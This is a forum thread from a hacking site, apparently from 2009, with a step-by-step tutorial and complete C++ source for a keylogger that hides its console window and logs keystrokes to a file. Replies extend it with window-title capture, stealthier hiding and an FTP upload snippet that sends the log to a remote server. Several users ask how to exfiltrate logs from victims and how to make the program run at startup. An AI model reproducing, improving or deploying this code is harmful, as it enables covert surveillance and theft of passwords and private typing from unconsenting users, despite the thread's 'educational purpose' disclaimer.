

Forum:[Hack Forums](#)

Thread: [C++ keylogger tutorial](#)

Dark Array - January 3, 2009, 1:00 pm

Hello everyone, this is my first tutorial EVER.

I will learn you to create a keylogger in c++ using vs 2008.
It can also be done in dev-c++, codegear c++ builder.
This keylogger wil save a log of the keys that are pressed on your HD.

Note: This tutorial is for educational purpose only.
Only put the keylogger on a computer where you got permission for.

Thx to Kevin Willett for teaching me this.

Lets get started.

+++++

First we need to create a new project.
Click on 'File' > 'New' > 'Project'.
Now choose 'Win32 Console Application' and choose for name "Keylogger".

If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'.

You should have a empty project now.
Now we will add a .cpp file.

Right click on 'Source Files' and take 'Add' > 'New Item'.

Now take 'C++ File(.cpp)' and name it Keylogger.

then click 'Add'.

Now open Keylogger.cpp and Write this in it.

```
Code #include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //
```

Now write this:

```
Code int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
```

Now we need to make a main function.(The main function will be the first that will be executed.)

```
Code int main()
```

```
{
    Stealth(); // This will call the stealth function we will write later.
```

```
char i; //Here we declare 'i' from the type 'char'
```

```
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
```

```
{ // Note this is also the part that will increase your cpu usage
```

```
for(i = 8; i <= 190; i++)
```

```
{
```

```
if (GetAsyncKeyState(i) == -32767)
```

```
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
```

```
}
```

```
}
```

```
system ("PAUSE"); // Here we say that the system have to wait before exiting.
```

```
return 0;
```

```
}
```

Ok so far so good :).

Now under the latest code add this

To make it look better.

Code /* ***** */

Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff.

If you want to add some yourself here is a site where you can look up the ascii table.

<http://www.asciitable.com/>

Code int Save (int key_stroke, char *file) // Here we define our save function that we declared before.

```
{
```

```
if ( (key_stroke == 1) || (key_stroke == 2) )
```

```
return 0;
```

```
FILE *OUTPUT_FILE;
```

```
OUTPUT_FILE = fopen(file, "a+");
```

```
cout << key_stroke << endl;
```

```
if (key_stroke == 8) // The numbers stands for the ascii value of a character
```

```
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
```

```
else if (key_stroke == 13)
```

```
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
```

```
else if (key_stroke == 32)
```

```
fprintf(OUTPUT_FILE, "%s", " ");
```

```
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
```

```
fprintf(OUTPUT_FILE, "%s", "[TAB]");
```

```
else if (key_stroke == VK_SHIFT)
```

```
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
```

```
else if (key_stroke == VK_CONTROL)
```

```
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
```

```
else if (key_stroke == VK_ESCAPE)
```

```
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
```

```
else if (key_stroke == VK_END)
```

```

fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

```

```

fclose (OUTPUT_FILE);
return 0;
}

```

Now we going to add Stealth to it.

Under the latest code add again

Code `/* ***** */`

Now write:

```

Code void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}

```

So thats it, you wrote your first keylogger :).

Here the full code:

```

Code #include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>

```

```

int Save (int key_stroke, char *file);
void Stealth();

```

```

int main()
{
    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {

```

```

if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
    }
}
system ("PAUSE");
return 0;
}

```

```

/* ***** */

```

```

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);
    return 0;
}

```

```
}
```

```
/* ***** */
```

```
void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}
```

chaosleada - January 3, 2009, 1:14 pm

Whoah it looks really nice, I hope this works.

p.s. where did you learn your c++ from? I'm having trouble grasping the concepts of c++

Dark Array - January 3, 2009, 1:36 pm

I am not so good in c++ either xD

But my uncle helps me and allot of video tutorials.

I am not a good reader ;p.

chaosleada - January 3, 2009, 1:44 pm

Mind sharing the links for the video tutorials? The only ones I found are from like the 90's and they're wayyyyyyyyyyyy outdated

Dark Array - January 3, 2009, 1:45 pm

Yea i got that to with c++ tutorials, allot outdated.

well I think I started here:

http://www.3dbuzz.com/vbforum/sv_home.php

<http://www.gotmyidea.com/cat/c-video-tutorials>

GoTTsProfeT - January 3, 2009, 9:53 pm

ok just a question, but how do i log enter as {enter} and backspace as {backspace} and how would i submit the data over POST to a web page instad of storing it to a file?

Dark Array - January 3, 2009, 10:13 pm

change the \n to {enter}

same for backspace.

I am currently searching for putting it onto a ftp server without external libraries or dlls.

If I found it I will add it on this forum.

If someone else knows how to do it :) feel free to post

Code else if (key_stroke == 13)

fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.

qwertyuioplm - January 3, 2009, 10:54 pm

Yay, im not the only one who uses alot of video tutorials. I got loads of books but the only seem to help just a little compared to videos.

But hey, im not all that smart so.....

GoTTsProfeT - January 3, 2009, 11:43 pm

uhm couldnt tcp be used?

Dark Array - January 4, 2009, 12:11 am

Probably but like I said, I couldn't use it inside the keylogger yet :p
feel free to help me with it.

GoTTsProfeT - January 4, 2009, 9:57 am

yeah i just learned the basics of C++ myself. It would be nice if there was a tcp/udp dev package so that maybe it would be like `Tcpconnect("ip here")` `tcpsend("data here")` with those we could easily send data over post using the http protocol or connect to ftp using the ftp protocol.

GoTTsProfeT - January 4, 2009, 9:59 am

Lol, a tcp devpack would be nice, then we could send http headers over tcp(for http protocol of POST and GET) and send tcp commands too.

S3pH - January 5, 2009, 6:11 am

how to i open the cpp keylogger?

Dark Array - January 5, 2009, 6:28 am

compile it

S3pH - January 5, 2009, 6:57 am

how? sry but i'm new on c++

Acidplox - January 5, 2009, 7:13 am

(Jan 5, 2009 07:57 AM)S3pH Wrote: [\[CITE\]](#) how? sry but i'm new on c++

First you need a C++ compiler, in order for you to compile the code. or build it as .exe file

Dark Array - January 5, 2009, 7:15 am

you can download visual c++ compiler from microsoft.com

S3pH - January 5, 2009, 8:47 am

i've got it. thx. it works :D

Dark Array - January 5, 2009, 12:41 pm

Bump does my tutorial works for evry1 or not?

hackfromthegrave - January 5, 2009, 6:04 pm

Cool... Now I just need to get my firewall disable program working...

BTW, I don't think you need to include winuser.h, doesn't windows.h include it for you?

Dark Array - January 5, 2009, 7:15 pm

mm could be :P dont know that for sure.

naid - January 6, 2009, 2:13 am

(Jan 3, 2009 02:14 PM)chaosleada Wrote: [\[CITE\]](#) Whoah it looks really nice, I hope this works.
p.s. where did you learn your c++ from? I'm having trouble grasping the concepts of c++
Here is some C++ Ebooks.

Code <https://hackforums.net/showthread.php?tid=30528>

And here's some C++ tutorials.

Code <https://hackforums.net/showthread.php?tid=30191>

By the way, this was a great tutorial. I'm gonna try it when I come back home.

tiger 01 - January 6, 2009, 10:12 am

Could you explain the void Stealth thing a bit more? I have trouble understanding that.

Dark Array - January 6, 2009, 10:30 am

What exactly you wanna know?

the first Code void Stealth(); will call the function stealth. and the function stealth is declared here:

```
Code void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}
```

Panama - January 6, 2009, 11:18 am

Hey dude, pretty nice little program and great tutorial! keep up the good work :)

Dark Array - January 6, 2009, 12:21 pm

thx :) just wrote a little tutorial on how to run a program from startup. Il post it in some min.

tiger 01 - January 9, 2009, 11:22 am

(Jan 6, 2009 11:30 AM)Dark Array Wrote: [\[CITE\]](#) What exactly you wanna know?

the first Code void Stealth(); will call the function stealth. and the function stealth is declared here:

```
Code void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}
```

How about the NULL, HWND and FindWindowA thing, I'm learning C++ so I'm only a beginner.

BlackhatSEO - January 9, 2009, 3:03 pm

Cool it works, but i guess something is missing with your code, it dont accept period(.)... anyway, nice tut!

Dark Array - January 9, 2009, 4:26 pm

I had the same problem on my laptop, But if I used a usb keyboard with a seperate button for the '.' it works.

0lzi - January 10, 2009, 3:17 am

i havent started to learn C++ yet but i will do in university in the next couple of weeks but i did a bit of C programming and in that there is something like #include <winsock.h> which is used in TCP/IP socket programming which is used to talk client to host which could be used for mailing that log from the victim to yourself but im not sure how you would do this. just an idea =p =p

Darow - January 10, 2009, 4:35 pm

Helpful for a beginner like me;]

Dark Array - January 10, 2009, 5:17 pm

to load the log.txt up to the ftp server you always can use the command line.

naid - February 2, 2009, 7:39 am

Didnt get this to work with VS, but its works great with Dev-cpp.
Thanks DA.

Darkrane - February 2, 2009, 7:54 am

It's designed to be resource innericient but thanks for it.

Mackem Jitler - February 2, 2009, 7:57 am

This tutorial is exactly what i need, thanks very much.

elobire - February 8, 2009, 7:30 am

great tutorial worked fine, does anyone know how to get it to upload the log file onto a website?

LionKing1906 - February 8, 2009, 7:46 am

nice tut.. ;)

L33T R3aPeR - February 9, 2009, 12:46 pm

there is an easier and shorter way of hiding the console window

```
Code    FreeConsole();  
?
```

Mighty Zapper - February 9, 2009, 6:28 pm

This is awesome. it works; although it seems to stop writing after a period; strange. just need the tcp uploader?(whats this) i suppose. i just need to be able to retrieve the files now.

armenski - February 14, 2009, 6:49 am

thanks for the great tutorial man...

but its got 1 problem ... the keys in the output are written all in CAPS ... no matter if u write in lower letters or caps , they are all in caps ... any solution to that ???

oh, and is there a command to be putted, when the program is run for the first time, to be automatically executed at startup ? write here or email me at r_armenski@hotmail.com
thnx

GoTTsProfeT - February 15, 2009, 7:11 pm

is there anyway to record the title of the window being written to? this would be a hella nice feature.

amineinfo - February 22, 2009, 4:22 am

this is really intressting

MatseN1 - February 22, 2009, 4:39 am

cool tutorial dark array ;D!

The-Eu4eH - February 23, 2009, 6:17 pm

With some C++ knowledge and looking up the right api it is easily possible, I would suggest googling: C++ ftp uploading

H3LL - February 27, 2009, 2:25 am

(Feb 23, 2009 07:15 PM)cofusion Wrote: [\[CITE\]](#) is there a way to have it send the file to an email or upload it to a server or perhaps and account on cjb.net.

Yes there is, google up smtp and blat, DA, if you happen to return to this topic, i am wondering how to reduce the CPU usage... its running like mad compared to other programs... any idea how to utilize the while loop properly?

naid - February 27, 2009, 2:32 am

(Feb 15, 2009 08:11 PM)GoTTsProfeT Wrote: [\[CITE\]](#) is there anyway to record the title of the window being written to? this would be a hell a nice feature.

```
Code #include <string.h>
#include <windows.h>
#include <iostream>
using namespace std;

int main()
{
    HWND a;

    char string1[128];
    char string0[128];
    while (1==1)
    {

        a=GetForegroundWindow();
        GetWindowText(a,string1, 128);
        if (strcmp (string1,string0) != 0) {
            cout <<"\n"<< string1;
            strcpy(string0,string1);
        }

    }

}
?
```

Dark Array - February 27, 2009, 3:26 am

(Feb 27, 2009 03:25 AM)H3LL Wrote: [\[CITE\]](#) (Feb 23, 2009 07:15 PM)cofusion Wrote: [\[CITE\]](#) is there a way to have it send the file to an email or upload it to a server or perhaps and account on cjb.net. Yes there is, google up smtp and blat, DA, if you happen to return to this topic, i am wondering how to reduce the CPU usage... its running like mad compared to other programs... any idea how to utilize the while loop properly?
hahaha yah, I am still searching for a way to put the cpu usage down :)
I also saugh it when I runned it on a computer in my school and the computer crashed like hell :)
Anyway maby someone knows how this is done?

H3LL - February 27, 2009, 7:57 pm

Hiding it is quite hard for those that are running on low spec computers cause it will definitely make a lag. I'm currently using your keylogger and enhancing it... It's just a test for myself, i have no targets. No idea what can i do with other people's password though unless they are for gaming purposes =| Hope you don't mind i took your kl as a start.

Kingdutch - February 28, 2009, 6:02 am

(Feb 14, 2009 07:49 AM)armenski Wrote: [\[CITE\]](#) thanks for the great tutorial man... but its got 1 problem ... the keys in the output are written all in CAPS ... no matter if u write in lower letters or caps , they are all in caps ... any solution to that ???
oh, and is there a command to be putted, when the program is run for the first time, to be automatically executed at startup ? write here or email me at r_armenski@hotmail.com
thnx

Nope computers don't see the difference between H and h (Or they might do, but most keyloggers don't), that's where [SHIFT] comes in, it'll show you the shift key was pressed and thus allows you to see the difference between upper and lower case letters.

Nice keylogger, indeed needs alot of CPU gonna see if I can tone that down alot ;) no idea how to yet but you gave a really nice start with a good tutorial :D Try to update your tutorial with FreeConsole(); as it's a nice addition posted by someone else in this thread.

I added a bunch of other virtual keys btw and I'll be getting rid of all the fwrites so I can easily change from type of logging.

Allright so since dots are quite important and it took me a while to figure them out since they didn't work for themselves, I ended up replacing:

PHP Code

```
<?php
```

```
if (GetAsyncKeyState(i) == -32767)
    Save (i);
```

With

PHP Code

```
<?php
```

```
if (GetAsyncKeyState(i) == -32767)
    Save (i);
```

```
// Here we say where our input will be saved. Now it will save it in the same dir as the .exe
    else if (GetAsyncKeyState(VK_OEM_PERIOD) == -32767)
```

```
//Check for some of those things by themselves
```

```
    Save (VK_OEM_PERIOD);
```

```
    else if (GetAsyncKeyState(VK_OEM_COMMA) == -32767)
```

```
        Save (VK_OEM_COMMA);
```

```
    else if (GetAsyncKeyState(VK_OEM_1) == -32767)
```

```
        Save (VK_OEM_1);
```

I can't show the Save function because I changed the if else if to a switch statement, it basicly comes down just checking for VK_OEM_* (VK_OEM_1 is a semicolon ";")

[All keycodes according to MSDN](#) <-- helped me quite a bit.

H3LL - February 28, 2009, 7:50 pm

Great.... You know, the keylogger is lacking some stuffs... I am trying to make them save as binary instead of characters... but i have no idea how... i think i did it but i am not sure! Then again, i also need a binary reader. It's even better if it can save the target pc name and the current time.

I am trying those but not possible in getting them done any time soon... Gonna give some research in it.

[edit], the additional codes made are meant for windows 2000 and xp, im not sure if it works for vista, gonna try it out now [/edit]

[edit], nope, cant use it, i don't have the library for it(running vista) can't use it [/edit]

ÇdnîS Lu?i? - March 1, 2009, 12:10 pm

Ill deff use this source after i get my books in =)

Amaethon - March 1, 2009, 4:24 pm

Nice. The only problem I have is that it sucks up 95% of my CPU. Is there a fix for that, or did I just

mess up while compiling it?

The-Eu4eH - March 1, 2009, 5:41 pm

Put a Sleep(number); in the logging function, Sleep(50); would do fine.

True_Reaper - March 1, 2009, 7:06 pm

very nice code and thank you very much for posting the video websites where u got started on C++. I was watching a different video tutorial but yours is MUCH better :-).

Back_track - March 4, 2009, 5:29 am

thanks i already made something like this in C++ but forgot stealth lol that could of been bad

phobos - March 29, 2009, 9:59 am

reanimate this thread from the grave

Very helpful and interesting thread, deserves some attention.

Can anyone offer a solution to put down the CPU usage?

Where to put the sleep(50) without destroying the whole way it works?

phob

blacky123 - March 29, 2009, 10:26 am

Great tutorial

This will go to my bookmarks

The Lounge - March 29, 2009, 10:29 am

tell me if im wrong..

this keylogger isnt remote accessible right?

it saves the logs in the pc it is executed..right?

Dark Array - March 29, 2009, 12:25 pm

yes <message to short>

Psycho - March 29, 2009, 3:21 pm

It's not bad. Readability is kind of important to me, so I changed it a little. I'm not all that great in C++, so if you oppose any of the changes I made, tell me why so I can learn a little more. :P

```
Code #define _WIN32_WINNT 0x0500
```

```
#include <windows.h>
```

```
#include <iostream>
```

```
using namespace std;
```

```
void Save(char inKey, char *inFile);
```

```
void main()
```

```
{
```

```
    // local constants
```

```
    const int PRESSED = -32767;
```

```
    // Hide window
```

```
    HWND hWnd = GetConsoleWindow();
```

```
    ShowWindow(hWnd, SW_HIDE);
```

```

while (1)
    for (char key = 8; key <= 190; key++)
        if (GetAsyncKeyState(key) == PRESSED)
            Save(key, "log.txt");
}

```

```

void Save(char inKey, char *inFile)
{

```

```

    // local constants

```

```

    const int BACKSPACE    = 8;

```

```

    const int ENTER        = 13;

```

```

    const int SPACE        = 32;

```

```

    const int DOT          = 190;

```

```

    const int DOT2         = 110;

```

```

    // open file

```

```

    FILE *OUTPUT_FILE;

```

```

    OUTPUT_FILE = fopen(inFile, "a+");

```

```

    switch(inKey)
    {

```

```

        case BACKSPACE:

```

```

            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");

```

```

            break;

```

```

        case ENTER:

```

```

            fprintf(OUTPUT_FILE, "%s", "\n[ENTER]\n");

```

```

            break;

```

```

        case SPACE:

```

```

            fprintf(OUTPUT_FILE, "%s", " ");

```

```

            break;

```

```

        case VK_SHIFT:

```

```

            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");

```

```

            break;

```

```

        case VK_TAB:

```

```

            fprintf(OUTPUT_FILE, "%s", "[TAB]");

```

```

            break;

```

```

        case VK_CONTROL:

```

```

            fprintf(OUTPUT_FILE, "%s", "[CTRL]");

```

```

            break;

```

```

        case VK_ESCAPE:

```

```

            fprintf(OUTPUT_FILE, "%s", "[ESC]");

```

```

            break;

```

```

        case VK_END:

```

```

            fprintf(OUTPUT_FILE, "%s", "[END]");

```

```

            break;

```

```

        case VK_HOME:

```

```

            fprintf(OUTPUT_FILE, "%s", "[HOME]");

```

```

            break;

```

```

        case VK_LEFT:

```

```

            fprintf(OUTPUT_FILE, "%s", "[LEFT]");

```

```

            break;

```

```

        case VK_UP:

```

```

        fprintf(OUTPUT_FILE, "%s", "[UP]");
        break;
    case VK_RIGHT:
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        break;
    case VK_DOWN:
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
        break;
    case DOT:
    case DOT2:
        fprintf(OUTPUT_FILE, "%s", ".");
        break;
    default:
        fprintf(OUTPUT_FILE, "%s", &inKey);
        break;
}

fclose(OUTPUT_FILE);
}

```

I haven't really tested the change, though. So it might not work. XD

Also, things might not line up the same as here. I changed the code to look good in the forum.

JoinSeventh - March 30, 2009, 3:34 am

Nice Tut :) thanks man

devil0angel - March 31, 2009, 12:29 pm

Ok, so I've been trying to find a way to upload it to a ftp server, here is what I found...

```

Code
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
hFtpSession = InternetConnect(hInternet, "ftp.freetzi.com", INTERNET_DEFAULT_FTP_PORT,
"myuser.freetzi.com", "mypassword", INTERNET_SERVICE_FTP, 0, 0);
FtpPutFile(hFtpSession, "C:\\log.txt", "log.txt", FTP_TRANSFER_TYPE_BINARY, 0);
if(FtpPutFile(hFtpSession, "C:\\log.txt", "log.txt", FTP_TRANSFER_TYPE_BINARY, 0))

InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);

```

So I was wondering could this work and where to put it...

aaron1o1 - April 1, 2009, 11:32 am

anyone know how to have the keystrokes sent to me in a e-mail?

dont know if it was just me but mine wont compile too many bugs

GotHacked - April 4, 2009, 8:59 am

looks great..xD i will try it out tonight

i have 1 question, when i copy and i paste the code what should i do !! Oo

Dark Array - April 4, 2009, 12:25 pm

compile it :p

Btw i know its meant good that people wanna add ftp functions and stuff.
But thats not the reason why i post this tutorial.

I just want to show how easy a keylogger can be made.

If you know how to add/make ftp work with it, then you probably dont need this tutorial to make a keylogger.

-cheers-

jbird123 - April 5, 2009, 9:06 am

Really nice thread thanks man! Not into C++ myself but I might try it just for this :p
Anyone fancy uploading the compiled exe? ;)

naid - April 11, 2009, 3:03 am

(Jan 3, 2009 02:45 PM)Dark Array Wrote: [\[CITE\]](#) Yea i got that to with c++ tutorials, allot outdated.

well I think I started here:

http://www.3dbuzz.com/vbforum/sv_home.php

<http://www.gotmyidea.com/cat/c-video-tutorials>

Haha, i loved that 3d.buzz.com site. That guys actually have humour :D

DKP - April 11, 2009, 1:25 pm

thats a pretty nice job mate!

psycho52 - April 11, 2009, 3:56 pm

It works fine. Nice post. Thanks. :)

(Apr 5, 2009 09:06 AM)jbird123 Wrote: [\[CITE\]](#) Really nice thread thanks man! Not into C++ myself but I might try it just for this :p

Anyone fancy uploading the compiled exe? ;)This is it:

<http://#.com/dl/195063/ef002f6/keylogger.exe.html>

hoLe[R]a - April 11, 2009, 10:59 pm

This is the first keylogger source code I have ever seen and think it's really good work. I will try it later to see how it works. Good job and Thanks
gl & hf

H3LL - April 14, 2009, 6:34 am

A result of his keylogger source code:

<https://hackforums.net/showthread.php?tid=64883>

techcompu2 - April 17, 2009, 6:52 am

I understand C++ and I was able to create the keylogger, however I cant seem to see the log file anywhere. What am I doing wrong?

kenikfreezer - April 17, 2009, 7:06 am

please can you give me a site or to learn the language c + + keylogger free

techcompu2 - April 17, 2009, 11:27 am

ok I figured out my other question but I have 3 new ones:

- 1) How can I get the log sent to my email
- 2) Can the log be programmed to clear itself once it has been sent to email?
- 3) Is there a way to get it to log what time it is logging at?

Dark Array - April 17, 2009, 12:15 pm

(Apr 17, 2009 11:27 AM)techcompu2 Wrote: [\[CITE\]](#) ok I figured out my other question but I have 3

new ones:

- 1) How can I get the log sent to my email
- 2) Can the log be programmed to clear itself once it has been sent to email?
- 3) Is there a way to get it to log what time it is logging at?

Like i posted before in this thread, i made this tutorial to just show how a keylogger works. This keylogger isnt good, or very usefull but its just to show how easy it is to make.

so if you have questions about programming then i think its better to use a forum where allot of programmers are.

If you found a forum like that, then dont ask how can i let my keylogger upload files. Just ask how you can upload a file from a computer in c++.

Anyway, I think someone answered this question already some pages ago.

Mr Beanz - April 17, 2009, 12:18 pm

Very nice tutorial, going to do this later on. Just started c++.

H3LL - April 18, 2009, 2:43 am

DA... If you're going to be back here... i made a keylogger and i've used your tutorial as a guide... Thanks alot =)

techcompu... Your question can be answered using hacking creativity... Good luck in searching... No point guiding noobs that don't google right...

techcompu2 - April 22, 2009, 6:06 pm

(Mar 1, 2009 06:41 PM)The-Eu4eH Wrote: [\[CITE\]](#) Put a Sleep(number); in the logging function, Sleep(50); would do fine.

I understand how this would work, but I cant get it to work. I have placed it in many places within the code and it does not work. it will either load the program and not change anything, or it will give me errors saying:

```
I:\syslog\syslog.cpp(8) : error C2146: syntax error : missing ';' before identifier 'Sleep'
I:\syslog\syslog.cpp(8) : fatal error C1004: unexpected end of file found
```

Any Ideas?

TheBest - April 22, 2009, 7:55 pm

To kill it do you only have to end Keylogger.exe processes or are there more?

Dark Array - April 23, 2009, 8:48 am

only keylogger.exe <short>

zeeman - April 26, 2009, 12:54 pm

(Apr 22, 2009 06:06 PM)techcompu2 Wrote: [\[CITE\]](#) I understand how this would work, but I cant get it to work. I have placed it in many places within the code and it does not work. it will either load the program and not change anything, or it will give me errors saying:

```
I:\syslog\syslog.cpp(8) : error C2146: syntax error : missing ';' before identifier 'Sleep'
I:\syslog\syslog.cpp(8) : fatal error C1004: unexpected end of file found
```

Any Ideas?

maybe you need one of these header files like, #include <windows.h> or #include <time.h>, most

likely it is <time.h> i have a keylogger (programmed by someone else) and it was really messed up with errors on purpose so noobs don't use it for bad things, but i fixed it all up with the sleep function and all other errors and finally got it to compile, its set up with a mail server but i don't know the functions to make it send my log file every certain amount of hours like i would want it to. it would be great if someone could show us that in a tutorial :)

H3LL - April 26, 2009, 5:30 pm

The error means that there's a missing ; before Sleep function, press f4 in msdev to go to the error. I guess you're no programmer to fix syntax error

rlwiv - April 27, 2009, 7:28 am

Thanks for the info!

Kurdish™ - May 1, 2009, 11:45 am

I got this error

[img]http://img18.imageshack.us/img18/6042/keyloggerx.jpg[/img]

someone help me please to fix it

Dark Array - May 2, 2009, 6:40 am

Did you make a console application or a windows form application?

camzq - May 2, 2009, 6:47 am

hope that youre free of questions... nice.. im new here.. tnx for the tutorial..

Vaqxine - May 2, 2009, 9:11 am

Could you upload a clean .exe version of this code when compiled? I'd appreciate it :>

Dark Array - May 2, 2009, 9:28 am

<http://#.com/files/228329988/logger.exe>

Vaqxine - May 2, 2009, 9:31 am

Thanks :)

How will I stop it.. and remove it?

Where's the .txt file being saved to?

And any other info..

Going to keylog myself, because I'm always forgetting things. :)

Dark Array - May 2, 2009, 9:35 am

Well dont expect that this is the best logger that exists :p

It will also increase ur cpu usage.

The log is saved in the same dir as the exe.

You can stop the program by just go in taskmanager and delete it.

Vaqxine - May 2, 2009, 9:45 am

Okay, thanks.

I just wanted a simple one, I don't mind.

Romeo. - May 8, 2009, 11:35 am

wow...good tutorial.... i like it

Security-Root - May 31, 2009, 2:23 pm

Really nice keylogger m8! :)

From: Security-Root

Ph?us - May 31, 2009, 6:31 pm

Btw add a Sleep(30) after you detect the key because then it ends up like
hhhhhhhhheeeeeeeellllllloooooo.

H3LL - May 31, 2009, 8:54 pm

Lol... i didn't encounter that part darksel... i'm using DA's tutorial as my base.. now it's totally cool after updating it

MAcar - June 3, 2009, 11:03 pm

hey h3ll even after i add a sleep for ten seconds it will stay at 0 cpu for ten seconds then to 100 for like a min then back to 0 for 4 seconds and then repeat how can i make it 0 all the time?

amoeba - June 6, 2009, 8:55 am

Now this is awesome man... i learnt a lot from you ..simple keylogger ..its not a big deal now on ..
Thanks buddy...

merlin211 - June 6, 2009, 10:44 am

(Jan 9, 2009 12:22 PM)tiger 01 Wrote: [\[CITE\]](#) How about the NULL, HWND and FindWindowA thing, I'm learning C++ so I'm only a beginner.

I saw that exact code on another keylogger did you get it from anywhere?

The keylogger I saw was in C and I thought the code was a whole part of C I never learned. It turns out it's windows api programming in c. It's really windows programming more than it is C or C++.

(Apr 22, 2009 06:06 PM)techcompu2 Wrote: [\[CITE\]](#) I understand how this would work, but I can't get it to work. I have placed it in many places within the code and it does not work. it will either load the program and not change anything, or it will give me errors saying:

I:\syslog\syslog.cpp(8) : error C2146: syntax error : missing ';' before identifier 'Sleep'

I:\syslog\syslog.cpp(8) : fatal error C1004: unexpected end of file found

Any Ideas?

Yeah I don't know what the problem is with sleep but just do a loop with no commands in it if you want to act like it's sleeping.

MAcar - June 6, 2009, 1:05 pm

can anyone tell me how to stop it from using 100 cpu? anyone?

x3me - June 13, 2009, 7:03 am

good tutorial.... i like it

Slice - June 13, 2009, 7:08 am

i heard ppl asking for good video tutorials some really good ones are antiRTFM look that guy up in youtube he has about 50 vids

O and nice tutorial

amoeba - June 14, 2009, 10:39 am

Thanks guys..nice tutorial..learning lots... This makes us all great programmers .. did we arrive at a solution for reducing CPU usage of this application ?????..am surious about it too..

H3LL - June 18, 2009, 9:56 pm

Dark array, You're tutorial is being ripped at

<http://www.opensc.ws/c-c/6844-c-keylogger-stealth-ooooohhh-ive-put-loads-comments.html>

Dark Array - June 20, 2009, 9:18 am

(Jun 18, 2009 09:56 PM)H3LL Wrote: [\[CITE\]](#) Dark array, You're tutorial is being ripped at

<http://www.opensc.ws/c-c/6844-c-keylogger-stealth-ooooohhh-ive-put-loads-comments.html>hahah rofl :p

MC' - June 27, 2009, 5:27 pm

Having your tut ripped off is the sincerest form of flattery

is there any tutorial on HF that includes installation, upload, and other features like active window/clipboard monitoring? because this keylogger is the bare basics

DarkForce - June 28, 2009, 7:27 pm

hey pal thanks for sharing this nice tutorial.??

tantura86 - June 29, 2009, 9:32 am

nice to share..thanks

KittensEathingDogs - July 10, 2009, 2:51 pm

yea is there a way to lower the cpu ? im levling out at a 54%.

MiNi-SO - July 11, 2009, 12:06 am

nice work thx for sharing the code

kabbs - July 11, 2009, 12:48 am

thnxx.. for the TUT..xD this would be a great help for me...

Not1337 - July 11, 2009, 1:36 am

